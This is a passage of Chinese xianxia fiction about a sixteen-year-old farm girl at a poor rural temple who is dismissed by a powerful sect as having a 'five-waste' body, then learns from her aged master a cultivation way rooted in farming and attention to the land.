《登仙—云外有人家》
1. 收麦
正午的日头毒得能烤熟石板。
林照直起腰,抹了把额上的汗,汗水顺着指缝滴进脚下的黄土地,眨眼就被晒干了印子。麦浪在她眼前铺开,金灿灿的一片,穗子沉甸甸地垂着头,风来时便发出沙沙的响,像在说悄悄话。
“阿茸,别闹。”
腿边传来毛茸茸的触感。林照低头,看见那只白羊正用刚长出来的角轻蹭她的裤腿,黑亮的眼睛向上望着,鼻翼一动一动——这是讨草吃的信号。
她从腰间解下水囊,自己先灌了两口,又从怀里摸出一把早上掐的嫩苜蓿,摊在手心。阿茸立刻凑上来,温热的舌头卷走草叶,嚼得咔嚓咔嚓响,耳朵一抖一抖。
“慢些吃,又没人和你抢。”
林照揉了揉阿茸的脑袋,指尖触到它左耳上那道浅浅的疤——去年冬天被山里的野荆划的,她熬了三天药膏才没让伤口溃烂。阿茸似乎很受用,蹭得更起劲了。
晒谷观不大,连她在内统共七个人。观是老观,据说是三百年前一位不愿飞升的散修所建,后来渐渐败落,传到老谷头手里时,就只剩下三间瓦房、两亩药田,外加这片山坡上的七分麦地。
麦地虽小,却是晒谷观的根。春天撒种,夏天除草,秋天收割,冬天窖藏——一年四季的吃食,大半从这土里长出来。老谷头常说:“修仙修仙,先得把脚下的地种明白了。”
林照直起身,望向天边。
今天的云格外好看。一团一团的,厚实得像新弹的棉絮,边缘被日头镶了金边,慢悠悠地从西向东飘。她看着看着,忽然想:云上面是什么样子?也有风吗?风里会不会夹着野菊的香味?还是说,上面只有冷冰冰的天宫,仙人们踩着祥云来来去去,却从不低头看一朵花开?
“又想那看不见的风景了?”
苍老的声音从田埂上传来。林照回头,看见老谷头正从树荫下的竹椅上睁开眼,手里还攥着那杆磨得发亮的铜烟袋。老人瘦得像根枯柴,裹在洗得发白的青布道袍里,脸上的皱纹深得能藏住麦粒。
“师父醒了?”林照走过去,从竹篮里拿出凉好的茶壶,倒了碗苦丁茶递过去。
老谷头接过来,没急着喝,先眯眼看了看天:“日头偏西三指,该收最后一垄了。”他顿了顿,又看向林照,“刚才想什么呢?眼睛都看直了。”
林照不好意思地笑笑:“就是觉得……云真好看。师父,您说云上面有没有花?”
“花?”老谷头啜了口茶,喉结滚动,“有啊。天宫的御花园里,听说种着三千年一开的碧落仙昙,六千年一结果的蟠桃仙树,九千年一轮回的七彩灵芝——都是稀罕物。”
“那……有没有咱们这样的野菊?就是长在路边,黄灿灿的,风一吹摇摇晃晃的那种?”
老谷头沉默了。他盯着茶碗里浮沉的叶片,好久才说:“天宫不讲‘野’字。那里的一草一木,都得按规矩长,按时辰开,按品级排座次。”他抬头,浑浊的眼睛里有林照看不懂的东西,“怎么,想去看看?”
林照老实点头:“想。可我也舍不得咱们的麦子。”她蹲下来,捡起一穗掉在地上的麦,轻轻搓开外壳,露出饱满的麦粒,“您看,多实在。”
老谷头忽然笑了,笑声干哑却温和:“傻丫头。舍不得才是对的。”他撑着竹椅站起来,佝偻着背往观里走,“收完麦,晚上有客来。”
“客?”林照一愣。晒谷观一年到头也来不了几个外人。
“玄霄阁的人。”老谷头头也不回,“来测灵根,收苗子。”
林照握着麦穗的手紧了紧。
玄霄阁。东域三大修仙宗门之一,山门在八百里外的凌霄峰上,门中金丹真人就有七位,据说还有一位元婴老祖在闭死关。每隔十年,他们会派人下山,到各处搜寻有灵根的孩子带回山门培养——这是凡人一步登天的机会。
可是……
“师父,咱们观里……”
“都测。”老谷打断她,“你也测。”
林照张了张嘴,最终什么也没说。她看着老人的背影消失在观门后,心里忽然空落落的。
阿茸又蹭了过来,这次嘴里叼着一朵小小的野菊——不知从哪里刨来的,花瓣上还沾着泥。林照接过花,插在阿茸的角间。白羊晃了晃脑袋,花没掉,它似乎很得意,昂首挺胸地走开了。
林照重新拿起镰刀。刀刃磨得雪亮,映出她晒成小麦色的脸——十六岁的年纪,眉眼还没完全长开,但鼻梁挺直,嘴唇紧抿时有种说不出的执拗。她不是美人,至少和话本里那些冰肌玉骨的仙子差得远,可老谷头说过:“皮相是虚的,骨头是实的。你的骨头硬,适合走远路。”
最后一垄麦子倒下时,日头已经偏到西山尖了。林照把麦捆扎好,一捆一捆背到观前的晒谷场。青石板被晒了一天,踏上去还烫脚。她铺开麦穗,用竹耙细细地摊平,金黄的穗子在夕阳下泛着暖光。
观里另外六个孩子也陆续回来了。最大的李虎十八岁,一身疙瘩肉,是干农活的好手;最小的豆苗才十岁,爹娘死于瘟疫,被老谷头捡回来时饿得只剩一把骨头。中间四个年纪相仿,都是附近村落送来的——家里养不起了,又听说晒谷观的老道长心善,便送来混口饭吃。
七个人里,只有林照是女娃。
“照姐,听说今晚有仙人来?”豆苗凑过来,脏兮兮的小脸上眼睛亮晶晶的。
“嗯。”林照拍拍他脑袋,“去洗把脸,换身干净衣裳。”
“仙人长什么样?是不是踩着云,穿着七彩霞衣?”
“我也不知道。”林照实话实说。她只从说书人那里听过仙人的故事,但从没见过真的。
李虎嗤了一声:“管他长什么样,能测出灵根才是正经。要是能被选上,往后吃香的喝辣的,再不用种地了!”他挥了挥粗壮的胳膊,“我爹说,我出生时屋里冒红光,肯定有灵根!”
另外几个孩子也围过来,七嘴八舌地说着听来的传闻。有人说仙人能点石成金,有人说仙人长生不老,还有人说仙人一挥手就能移山填海。言语间满是向往。
林照没插话。她安静地铺完最后一耙麦子,直起腰时,忽然听见天边传来一阵奇异的嗡鸣。
声音很轻,像琴弦被风吹动,却又带着某种说不清的韵律。她抬头,看见西边的天空出现了一个小白点。
白点迅速放大,变成一片流云。云上站着三个人,衣袂飘飘,在夕阳的余晖中镀上了一层金边。
孩子们全都屏住了呼吸。
流云缓缓降落在晒谷场外,离地三尺悬停。当先一人是个二十来岁的青年,身着月白道袍,领口绣着银色的云纹,腰间佩玉,面容俊朗,只是眉眼间带着一股居高临下的淡漠。身后跟着一男一女,年纪稍轻,同样打扮,神色恭敬。
老谷头不知何时已经站在了观门口。他佝偻着背,朝三人行了个道礼:“晒谷观谷长青,恭迎玄霄阁上使。”
青年微微颔首,算是回礼。他的目光扫过晒谷观破旧的瓦房、堆着农具的墙角、还有七个衣着朴素的孩子,眉头几不可察地皱了皱。
“谷道长客气了。”他的声音清冷,“奉宗门之命,前来测试灵根。贵观所有未满二十者,皆可一试。”
“有劳上使。”老谷头侧身,“请入观用茶。”
“不必。”青年抬手,从袖中取出一块巴掌大的玉盘。玉盘通体莹白,表面刻着复杂的纹路,中央嵌着一颗透明的晶石。“就在此处测吧,速战速决。”
他说“速战速决”时,目光已经落在了李虎身上——七个孩子里,李虎个头最大,体格最壮,看起来最有“潜质”。
老谷头不再多言,只对孩子们道:“排好队,一个个来。”
李虎第一个上前,紧张得手心都是汗。青年将玉盘递到他面前:“双手握住,凝神静气。”
李虎照做。三息之后,玉盘中央的晶石微微亮起,泛起土黄色的光,光芒很淡,像蒙了一层灰。
青年摇头:“下品土灵根,驳杂不纯。下一个。”
李虎的脸瞬间白了。他张了张嘴想说什么,但青年已经移开目光。他只能失魂落魄地退到一边。
第二个、第三个、第四个……玉盘依次亮起微弱的光芒,颜色各异,但都暗淡驳杂。青年的表情越来越冷淡,到最后几乎不加掩饰地流露出失望。
轮到豆苗时,玉盘毫无反应。
“无灵根。”青年声音平淡,像在陈述一件无关紧要的事。
豆苗低下头,瘦小的肩膀微微发抖。林照轻轻揽住他,摸了摸他的头。
终于,轮到林照了。
她走上前,在青年的注视下握住玉盘。玉质温凉,触感细腻。她闭上眼,试图凝神——可脑海里却不由自主地浮现出今天的麦浪、阿茸角间的野菊、还有天边那团厚实的云。
玉盘忽然震动起来。
晶石猛地爆发出光芒——不是一种颜色,是五种。金、绿、蓝、红、黄,五种光混杂在一起,像打翻的颜料盘,彼此冲撞、抵消、纠缠,最终形成一片混沌的灰白色。
光芒很亮,比之前任何一个人都亮,可那混乱的色彩却让青年愣住了
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。
他身后的女弟子忍不住低声惊呼:“五灵根……而且属性均匀,彼此制衡……这、这是‘五废之体’!”
所谓五废之体,是指身具五行灵根,且五行强度完全均衡。这种体质看似兼容并包,实则因为五行相生相克,灵力在体内无法形成循环,修炼速度比单灵根慢上十倍不止,是修仙界公认的废物体质。
青年的眼神从惊讶转为怜悯,最后变成毫不掩饰的轻蔑。
他收回玉盘,声音冰冷:“五废之体,终身难筑基。下一个。”
林照松开手。玉盘上的光芒熄灭了,晶石恢复透明,映出她平静的脸。
她没有退开,反而抬起头,直视青年:“上使,请问灵根是什么?”
青年一怔,像是没料到这乡下丫头敢反问。他皱眉:“灵根乃天赐仙缘,是感应天地灵气的根本。无灵根者如顽石,有灵根者如美玉,灵根越纯,修炼越快——这都不懂?”
“懂了。”林照点点头,“那请问,麦子需要灵根才能长吗?”
“什么?”
“我说麦子。”林照指向晒谷场上的麦穗,“它们没有灵根,可春天撒种,夏天浇水,秋天就能收获。人比麦子聪明,为什么非要靠天赐的灵根才能修行?”
青年哑然。他身后的男弟子忍不住笑了:“荒谬!凡人种麦是为果腹,修士修行是为长生,岂能相提并论?你一个五废之体,也配谈修行?”
林照不再说话。她退后一步,回到老谷头身边。
老谷头全程沉默。此刻,他才缓缓开口:“上使,七个孩子都测完了?”
青年看了眼玉盘上最后一个孩子——同样是无灵根——不耐烦地点头:“测完了。贵观……并无合适苗子。”他顿了顿,又补充道,“不过宗门规矩,但凡测试者,皆赠《引气诀》一册,勤加练习,或可强身健体。”
他从袖中取出七本薄册子,递给老谷头。册子纸张粗糙,墨迹浅淡,显然是批量印制的最低级货色。
老谷头接过,道了声谢。
青年不再停留,转身踏上流云。另外两人紧随其后。流云升空,很快化作天边一个小点,消失在西山的阴影里。
晒谷观安静下来。
夕阳完全沉下去了,天边只剩一抹暗红的余晖。晒谷场上的麦穗在晚风中轻轻摇曳,沙沙作响。
李虎一拳砸在墙上,眼眶发红:“凭什么……我明明有灵根……”
豆苗小声啜泣起来。其他几个孩子也垂头丧气。
只有林照安静地站着。她手里还攥着那穗麦子,麦粒硌着掌心,有点疼,但很实在。
老谷头慢慢走过来,把七本《引气诀》分给孩子们,最后留了一本给林照。他没看她的眼睛,只说了句:“去做饭吧。今晚吃新麦烙的饼。”
“嗯。”林照应了一声,转身往灶房走。
走到观门口时,她回头看了一眼。
老谷头还站在晒谷场上,佝偻的背影在暮色中显得格外瘦小。他正仰头望着天——不是看仙人离去的方向,而是看东边刚冒出来的、第一颗星星。
林照顺着他的目光看去。
星星很亮,孤零零地悬在深蓝色的天幕上。它下面是无边的山峦、田野、村落,还有这片小小的晒谷观。
她忽然想起老谷头下午说的那句话:“天宫不讲‘野’字。”
那么,野外的星星呢?它们是不是也得不按规矩亮,不按时辰出,不按品级排座次?
灶房里飘出炊烟。
阿茸闻着味儿跑过来,角间的野菊不知何时掉了,但它嘴里又叼了一朵新的,献宝似的放在林照脚边。
林照弯腰捡起花,插回它角间。
“阿茸,”她轻声说,“云上肯定没有你这样的羊。”
白羊听不懂,只是蹭她的手,讨草吃。
林照笑了。她摸了摸阿茸的脑袋,转身进了灶房。
新麦的香味,混合着柴火的气息,从门缝里飘出来,融进渐渐浓重的夜色里。
很远很远的天上,玄霄阁的流云正在云层中穿行。青年弟子对同伴说:“那晒谷观真是穷酸,七个孩子竟无一个能入眼的。尤其是那个五废之体的女娃,居然问出‘麦子需不需要灵根’这种蠢问题。”
女弟子掩嘴笑:“乡下人嘛,没见过世面。”
他们都没有注意到,流云下方,晒谷观灶房的烟囱里,那一缕炊烟笔直地上升,升到很高很高的地方,才慢慢散开,融进了夜风里。
像一棵没有根的树,却执意要触摸天空。
2. 玄霄阁来人
新麦烙的饼确实香。
粗陶碗里盛着金黄泛焦的饼子,掰开时热气裹着麦香扑出来。林照往每张饼里夹了一勺腌野菜,又给每人舀了碗清得见底的米粥——米是去年的陈米,粒粒分明,嚼着有股淡淡的霉味,但没人嫌弃。
饭桌上很安静。
平日里孩子们总是抢着说话,李虎吹嘘自己今天挑了几担水,豆苗炫耀捉到了几只蚱蜢,可今晚所有人都闷头吃饭,连咀嚼声都轻得几乎听不见。
老谷头坐在上首,慢条斯理地掰着饼。他吃得很仔细,每一口都要嚼上十几下才咽,仿佛在品味什么山珍海味。烛火在桌中央跳动,将他脸上的皱纹映得深浅不一。
“师父,”李虎终于忍不住了,饼渣沾在嘴角,“那个玄霄阁的仙人……是不是看错了?”
老谷头没抬眼:“玉盘测灵根,错不了。”
“可、可我有灵根啊!”李虎的声音大了些,“虽然是下品,但总比没有强吧?凭什么他们不收?我爹说,隔壁村的二狗子,前年测出下品火灵根,就被一个小宗门带走了,现在都炼气三层了!”
“那你觉得,玄霄阁和那些小宗门,哪个门槛高?”
李虎噎住了。
老谷头这才抬起眼,目光扫过七个孩子:“玄霄阁是东域三大宗门之一。他们收弟子,不是有灵根就行,是要灵根纯净、资质上佳的好苗子。”他顿了顿,“你们七个,要么无灵根,要么灵根驳杂,要么……”他看了眼林照,“五灵俱全却彼此制衡。在他们眼里,都是废料。”
“废料”两个字说得很轻,却像锤子砸在每个人心上。
豆苗的眼泪吧嗒掉进粥碗里。
林照放下筷子。她看着老谷头:“师父,灵根真的那么重要吗?”
桌上所有人都看向她。李虎的眼神里带着怨气——刚才要不是林照问那个蠢问题惹恼了仙人,说不定仙人还能多看他两眼呢?
老谷头却笑了,笑得咳了两声:“重要,也不重要。”他端起粥碗,喝了一口,“对玄霄阁那样的大宗门来说,重要。因为他们要的是效率——用最短的时间培养出最强的弟子,撑起宗门门面,争夺修炼资源。灵根纯净者,修炼快,见效早,自然是首选。”
“那对谁不重要?”
“对你。”老谷头直视林照的眼睛,“对一个只想看看云上有没有花的人来说,不重要。”
林照怔住了。
老谷头却不再解释,起身收拾碗筷:“今晚都早点睡。明日照常干活——李虎挑水,豆苗喂鸡,林照去药田除草。”
他佝偻着背往自己屋里走,到门口时忽然回头,对林照说:“你那本《引气诀》若看不懂,可以来问我。不过……”他顿了顿,“晒谷观的书架上,有本《晒谷心经》,你也可以翻翻。就在最上面一层,落了灰的那本。”
说完,他推门进去了。
孩子们陆续散去。李虎临走前狠狠瞪了林照一眼,但没说话。豆苗扯扯林照的衣角:“照姐,你别难过……”
“我不难过。”林照拍拍他的头,“快去睡吧。”
等所有人都走了,林照吹灭桌上的蜡烛,却没有回屋。
她走到晒谷观唯一的那间书房——其实算不上书房,就是个放杂物的小隔间,靠墙立着个破旧的榆木书架,上面零零散散堆着几十本书。大部分是农书,《齐民要术》《农桑辑要》之类的,还有几本地方志,几册褪了色的黄历。
林照踮起脚,手指摸到书架最顶层。
果然有厚厚一层灰。她的指尖触到一本硬皮册子,抽出来时,灰尘簌簌落下,在月光里像细碎的银粉。
封面上四个字已经斑驳:《晒谷心经》。
她抱着书走到院子里。今晚月亮很圆,银辉洒满晒谷场,新铺的麦穗在月光下泛着柔和的光。阿茸趴在石磨旁睡着了,听见脚步声,耳朵动了动,没睁眼。
林照在石磨上坐下,翻开书页。
纸张已经泛黄发脆,墨迹也淡了许多,但字迹工整清秀,是手抄本。开篇没有玄之又玄的修行口诀,反而是一段平实的记录:
“晒谷三年,方知日头有偏正。午时最烈,宜薄摊;申时转柔,宜厚积。观云识天,察风知雨,此乃第一课。”
林照愣了愣,继续往下翻。
后面的内容更怪:如何用锄头松土才能不伤地气,如何引山泉浇药才能不寒根茎,甚至如何晾晒衣物才能让布料“存住阳光的味道”。中间夹杂着一些潦草的批注,字迹和老谷头很像:
“汗滴入土时,心随云移处。”
“麦浪起伏自有律,何须强求御风术?”
“夜观星,昼观影,天地时时在授课,唯人闭目塞听。”
翻到最后一页,林照的手停住了。
那里用朱笔画着一幅简图:一个人弯腰在田间劳作,头顶有三条线——一条向上指向云,一条平行指向远山,一条向下深入泥土。旁边一行小字:
“上接天光,中承风气,下连地脉。人在其中,如穗在田,自有根须,何必外求?”
月光静静地照着这页纸。
林照看了很久,久到阿茸都醒了,走过来用鼻子蹭她的手。她合上书,抬头望向夜空。
星星比刚才更多了,密密麻麻铺满天幕。远处传来几声犬吠,近处有蟋蟀在墙根下鸣叫。晒谷观背后的山坡上,松涛阵阵,像大地沉稳的呼吸。
她忽然想起白天握玉盘时的感觉。
五种光在晶石里冲撞纠缠,混乱不堪——那是她体内的灵根吗?可为什么此刻坐在这里,她反而觉得身体里有什么在缓缓流动?不是光,不是热,是一种更微妙的东西,像山泉渗进干裂的土壤,无声无息,却真实存在。
林照闭上眼。
她试着不去想什么“灵气”,不去想什么“经脉”,只是感受:夜风吹过脸颊的微凉,身下石磨传来的粗糙触感,麦香混合着泥土的气息,阿茸温暖的鼻息喷在手背上……
然后,她“看”到了。
不是用眼睛,是用某种说不清的感觉。她“看”到月光像细密的水银,洒在麦穗上,每一粒麦子都在悄悄吸收这光华;她“看”到地底深处,有温润的脉动在缓慢流淌,像沉睡巨人的心跳;她甚至“看”到自己身体里,有五道微弱却坚韧的细流,正从四肢百骸缓缓汇聚到小腹处——它们没有冲撞,没有抵消,只是安静地交错、并行,像田埂划分出的不同地块,各自生长,又彼此依存。
不知过了多久,林照睁开眼。
月亮已经偏西了。她浑身被夜露打湿,头发贴在额头上,却觉得前所未有的清醒。摊开手掌,掌心有几道浅浅的纹路,在月光下泛着微光——那是常年劳作留下的茧子。
她忽然明白了老谷头的话。
灵根重要吗?对那些要“效率”的人来说,重要。可对她来说,这片土地、这些麦子、头顶的星月、身边的阿茸,还有身体里那五道安静流淌的细流——这一切构成的,才是她完整的“根”。
林照抱起《晒谷心经》,轻手轻脚走回自己房间。
屋里很简陋,一张木板床,一张瘸腿桌子,墙上挂着斗笠和蓑衣。她从包袱里取出白天仙人给的那本《引气诀》,和《晒谷心经》并排放在桌上。
两本书,两个世界。
《引气诀》开篇就写:“闭目凝神,感应天地灵气,引之入体,循经脉运转,周天循环,可筑基,可长生。”
《晒谷心经》却说:“睁眼生活,汗为引,心为桥,天地万物皆可入药。不求长生,但求今日活得明白。”
林照吹灭油灯,躺到床上。
窗外月光如水,透过窗棂洒进来,在泥地上画出一格格光影。她听着阿茸在院子里走动的声音,听着远处山溪的流淌声,听着自己的呼吸声。
这一夜,她没有梦到天宫,没有梦到仙人。
她梦到自己变成了一株麦子,根须深深扎进泥土,穗子向着天空生长。风吹来时,她和整片麦田一起摇摆,沙沙的响声响彻原野。
第二天鸡叫三遍时,林照就醒了。
她像往常一样,先去井边打水,给观里的水缸灌满,然
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后生火煮粥。等粥在锅里咕嘟咕嘟冒泡时,她拎起锄头去了药田。
药田在晒谷观西侧,半亩大小,种着三七、当归、金银花之类的寻常药材。老谷头懂些医术,平时村里人有头疼脑热的常来找他,他就用这些药材配些方子,不收钱,只收些米面鸡蛋。
清晨的露水很重,药叶上挂满水珠,阳光一照,晶莹剔透。林照挽起袖子,开始除草。
锄头起落,泥土翻卷。她刻意放慢了动作,试着去感受——感受锄刃切入土壤时的阻力,感受草根被拔起时轻微的断裂声,感受泥土湿润的气息扑面而来。
然后,那种微妙的感觉又出现了。
这一次更清晰。她“看”到锄头落下时,地底的脉动像水波一样荡开;她“看”到每一株药材的根系都在缓慢伸展,吸收着泥土里的养分;她甚至“看”到自己的汗水滴落时,渗入土壤,成为这循环的一部分。
这不是《引气诀》里说的“引气入体”。
这是……“身在气中”。
林照停下手,拄着锄头喘息。晨光里,她的脸颊泛着红晕,额角的汗珠顺着下巴滴落。她忽然想起《晒谷心经》里那句批注:
“天地时时在授课,唯人闭目塞听。”
原来不是她闭目塞听,是那些高高在上的仙人,从一开始就闭上了眼睛——他们只盯着玉盘上的光,却忘了脚下的土地;只追求经脉里的循环,却忽略了天地间本就有的大循环。
“悟了?”
苍老的声音从田埂上传来。
林照抬头,看见老谷头不知何时站在那儿,手里提着个竹篮,篮子里是刚摘的野菜。老人脸上没什么表情,但眼神很深,像能看透她所有心思。
“师父……”林照不知该怎么说。
老谷头摆摆手,走过来蹲下,抓起一把土,在手里搓了搓:“土有温凉,地有厚薄。你看这片药田,北边种三七,南边种当归——为什么?”
林照想了想:“三七喜阴,当归喜阳?”
“对,也不对。”老谷头把土撒回地里,“三七确实喜阴,可你仔细看,这片‘阴’地,其实每天辰时和申时都能晒到太阳;当归喜阳,但午后最烈的日头,会被那棵老槐树遮掉一半。”他站起来,拍了拍手上的土,“天地从不会给你纯粹的‘阴’或‘阳’。灵根也一样。”
林照心头一震。
“你体内五行俱全,彼此制衡,在玄霄阁眼里是废物体质。”老谷头看着她,“可你想过没有——为什么天地要生出五行?金木水火土,相生相克,这才有了四季轮转、万物生灭。若这世间只有纯粹的‘火’,一切早就烧光了;只有纯粹的‘水’,一切早就淹没了。”
他走到药田边,指着那株长势最好的当归:“你看它,茎秆笔直,叶片舒展——可它的根扎在哪儿?扎在混杂的土壤里,有沙,有泥,有腐叶,有碎石。正是这些‘驳杂’的东西,给了它稳固的根基,丰富的养分。”
林照怔怔地看着那株当归。
“修仙界讲究‘纯粹’,是因为他们想走捷径。”老谷头的声音很平静,却像锤子敲在心上,“可这世上有些路,本就没有捷径。你得一步一步走,一锄一锄挖,把所有的‘驳杂’都走成自己的路,挖成自己的田。”
他说完,提起竹篮走了。
走出几步,又回头:“对了,今晚把那本《引气诀》烧了吧。不适合你。”
林照站在药田里,很久没动。
阳光越来越烈,晒得后背发烫。阿茸从观里跑出来,到她脚边蹭了蹭,嘴里叼着根狗尾巴草。
她弯腰接过草,插在斗笠上。
然后重新举起锄头。
这一次,锄刃落下的瞬间,她清晰感觉到——有五道细流从掌心涌出,沿着锄柄流淌,融入土地。不是冲撞,不是抵消,是像雨水渗入干土,自然而然地成为大地脉动的一部分。
很微弱,微弱到几乎可以忽略不计。
但真实存在。
就像清晨的第一滴露水,落在麦叶上,滚圆滚圆的,映出整个天空。
3. 晒谷心经
林照最终没有烧掉那本《引气诀》。
她把书收进了包袱最底层,和几件换洗衣物叠在一起。倒不是舍不得——而是觉得,既然师父说“不适合”,那至少该知道究竟哪里不适合。就像药田里的杂草,你得先认得它长什么样,才知道下次怎么避开。
日子又回到了原来的节奏。
鸡叫起床,挑水做饭,下地干活,日落收工。只是从那晚之后,林照干活时多了一份心思。锄地时,她会刻意感受锄头与土地的接触;浇水时,她会留意水流渗入土壤的轨迹;甚至晾衣服时,她也会观察布匹在风中舒展的弧度。
这些细微的感知,起初只是模糊的感觉。但十天过去,竟渐渐清晰起来。
最明显的变化发生在药田。
那天清晨,林照照例去给金银花除草。这种药材喜阳,但根系浅,除草时得格外小心,不能伤到主根。她蹲下身,手指刚触到一株野稗草的根部,忽然“看”到了——
不是用眼睛,是那种奇妙的感知。
她“看”到金银花的根系在土壤中蜿蜒伸展,细密的根须像一张网,紧紧抓住泥土;“看”到野稗草的根扎得更深,与药材的根系纠缠在一起,争夺着地下的养分和水。两种植物的根系之间,有微弱的“气”在流动——金银花的“气”温润平和,野稗草的“气”则杂乱而霸道。
林照没有急着拔草。
她闭上眼,将手指更轻地贴在地上,试着调动体内那五道细流——这些天她给它们起了名字:金流沉,木流舒,水流润,火流暖,土流厚。心念一动,五道细流从掌心缓缓渗出,像五条丝线,顺着指尖探入泥土。
这是她第一次主动尝试。
细流接触到土壤的瞬间,林照浑身一震。感知陡然扩大了十倍、百倍——她“看”到了整片药田的地下世界:蚯蚓在松土,蚂蚁在搬运,各种植物的根系纵横交错,地底的湿气蒸腾上升,与来自地面的阳气交汇,形成一层薄薄的、温润的“地气”。
而她的五道细流,就在这复杂的地下网络中穿行。
它们没有像《引气诀》描述的那样“冲击经脉”“开辟丹田”,而是自然而然地融入地气循环。金流沉入深处,与矿石的脉动共鸣;木流缠绕植物根系,感受生长的韵律;水流顺着土壤缝隙流淌,带去湿润;火流温暖着冰冷的土层;土流则稳稳地托住一切,如同大地本身。
林照睁开眼睛。
她小心翼翼地避开金银花的主根,手指轻轻一捻,野稗草的根系应声而断。不是用力扯断的,是找到了那处最脆弱的连接点——就像解开一个纠缠的线团,找到那个关键的结。
整株野稗草被完整拔起,根须上还挂着湿土。而旁边的金银花,叶片轻轻颤了颤,似乎在舒展身体。
林照摊开手掌,看着指尖上残留的泥土。
她忽然明白了《晒谷心经》里那句“汗滴入土时,心随云移处”的真正含义——汗是引子,将身体与土地连接;心是桥梁,让感知跨越有形与无形的界限。人在劳作中付出汗水,大地便回馈以最真实的“授课”。
“照姐!”
豆苗的喊声从观门口传来。林照站起身,看见小家伙气喘吁吁跑过来,小脸上满是兴奋:“快、快去看!虎哥他、他好像成了!”
“成了?”林照一愣。
“就是那个……引气入体!”豆苗眼睛发亮,“虎哥说他昨晚打坐,忽然觉得肚子里热乎乎的,像揣了个小火炉!”
林照跟着豆苗回到观里。
晒谷场上已经围了一圈人。李虎盘膝坐在中央,双目紧闭,脸色涨红,头顶隐隐有白气蒸腾。他面前摊着那本《引气诀》,书页被翻得卷了边。
老谷头站在一旁,眉头紧锁。
“师父,虎哥他……”林照轻声问。
“强行冲关。”老谷头的声音很冷,“《引气诀》讲的是‘引’,他却用了‘冲’。把体内那点驳杂的土灵根催动到极限,想强行开辟丹田——简直是找死。”
话音刚落,李虎浑身猛地一颤。
他脸上的血色瞬间褪去,转为青白。头顶的白气变得紊乱,像烧开的沸水一样翻腾。豆苗吓得后退一步,其他孩子也面露惧色。
老谷头叹了口气,上前一步。
他没有结印,没有念咒,只是伸出枯瘦的手掌,轻轻按在李虎头顶。动作很慢,很轻,像在抚摸一只受惊的幼兽。
林照屏住呼吸。
她“看”到了——不是用眼睛,是那种已经渐渐熟悉的感知。她“看”到老谷头掌心涌出一股温润的“气”,那气不是纯粹的金木水火土任何一种,而是一种包容的、平和的、像大地本身一样的质感。气顺着李虎的百会穴流入,缓缓下沉,所过之处,那些狂暴紊乱的土灵气像被一只无形的手抚平,渐渐安静下来。
整个过程持续了约莫一炷香时间。
李虎的脸色终于恢复正常,头顶白气消散。他睁开眼睛,眼神茫然,半晌才回过神来,哇地吐出一口黑血。
“师、师父……”他声音虚弱。
老谷头收回手,背过身去。林照看见老人的肩膀微微颤抖,但他很快稳住了身形,声音依然平静:“三日之内,不得下床。每天喝我配的药汤,不许运功,不许打坐。”
“可是师父,我明明已经……”
“你已经什么?”老谷头猛地转身,浑浊的眼睛里第一次有了怒意,“你以为那点热气就是引气入体?我告诉你,那是炉火将熄前的最后一丝光——再晚上半刻,你这一身筋骨就全废了,往后别说修仙,连挑水都挑不动!”
李虎吓得缩了缩脖子,不敢再说话。
老谷头挥挥手:“都散了,该干嘛干嘛去。”他顿了顿,看向林照,“你留下。”
孩子们面面相觑,终究不敢违逆,一个个低头走了。豆苗临走前担忧地看了林照一眼,林照冲他轻轻摇头,示意没事。
晒谷场上只剩下师徒二人,还有趴在石磨旁打盹的阿茸。
老谷头走到井边,打了桶水,慢慢洗手。他的手在抖,虽然极力克制,但林照还是看出来了。洗了很久,他才直起身,在井沿坐下。
“看到了?”他问。
林照点头:“看到了。师父用的是……土德?”
“土德?”老谷头笑了,笑声里有说不清的疲惫,“什么德不德的。我就是把那孩子体内暴走的灵气,导回大地罢了——土地最厚道,什么都能容纳,什么都能消化。”
他拍了拍身边的石沿:“坐。”
林照坐下。井水很凉,井沿的石板被磨得光滑,泛着青黑色。
“你知道李虎为什么急吗?”老谷头望着远处连绵的山峦。
林照想了想:“他想证明自己。想证明玄霄阁的人看错了,他不是废料。”
“对,也不对。”老谷头说,“他是被‘仙’这个字迷了眼。以为成了仙,就能一步登天,就能被人高看,就能摆脱这晒谷观,摆脱这片麦田——说白了,是想逃。”
“逃?”
“逃开自己的根。”老谷头转头看她,“你觉得你的根在哪儿?”
林照怔了怔。她低头看自己的手,掌心有茧,指缝里还残留着药田的泥土:“在……这儿?”
“在晒谷观。”老谷头说,“在这片你亲手种下的麦田里,在这口你打了十年水的井里,在那只总跟在你屁股后面的白羊身上。”他顿了顿,“也在你那五道彼此制衡的细流里——它们是你身体的一部分,就像麦子的根是麦子的一部分。你会嫌弃自己的根长得不够直、不够壮吗?”
林照摇头。
“可李虎会。”老谷头叹息,“他嫌弃自己的土灵根太驳杂,嫌弃晒谷观太破旧,嫌弃这片土地太贫瘠。所以他急于求成,想用最快的方法斩断这些‘累赘’——却不知道,他斩断的正是自己立身的根本。”
太阳已经升得很高了,阳光晒在背上暖洋洋的。阿茸醒了,慢悠悠走过来,把头搁在林照膝盖上,眼睛半闭半睁。
老谷头看着这一幕,眼神柔和了些:“你不一样。你从一开始就没想逃。你想看云上的花,不是因为讨厌地上的花,而是因为——地上的花你已经看明白了,想知道更高处有没有别的风景。”
林照心头一震。
老人说中了。她从来没觉得晒谷观是累赘,没觉得种地是低贱,没觉得阿茸是负担。她只是……好奇。就像小时候第一次看见彩虹,会追着跑过整片田野,想看看彩虹的尽头有什么。
“《晒谷心经》你读到哪儿了?”老谷头忽然问。
“最后一页那幅图。”林照老实回答,“上接天光,中承风气,下连地脉。人在其中,如穗在田。”
“知道那幅图是谁画的吗?”
林照摇头。
“是我师父的师父。”老谷头抬头望天,眼神渺远,“他老人家活了一百四十岁,死前三天还在晒谷场上铺麦穗。临终时他说:‘我这辈子最得意的事,不是修到了金丹,而是种出了三季都能收的麦种。’”
林照睁大眼睛。
金丹?那个在传说中能御剑飞行、寿元三百载的金丹真人?
“很惊讶?”老谷头笑了,“晒谷观三百年前那位开山祖师,本就是一位散修。后来历代观主,大多有些修为在身。只是我们这一脉,修的不是杀伐之术,不是长生之道,而是‘观’——观天,观地,观己。”
他从怀里摸出那杆铜烟袋,慢悠悠装上烟丝,却没有点,只是放在鼻子下闻了闻。
“我年轻时,也像李虎一样,想逃离这里。”老人的声音变得飘
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忽,“那时我觉得晒谷观太小,天地太大。我去了很多地方,见过真正的修仙宗门,见过飞天遁地的法宝,见过移山填海的神通……可看得越多,我越觉得不对劲。”
“哪里不对劲?”
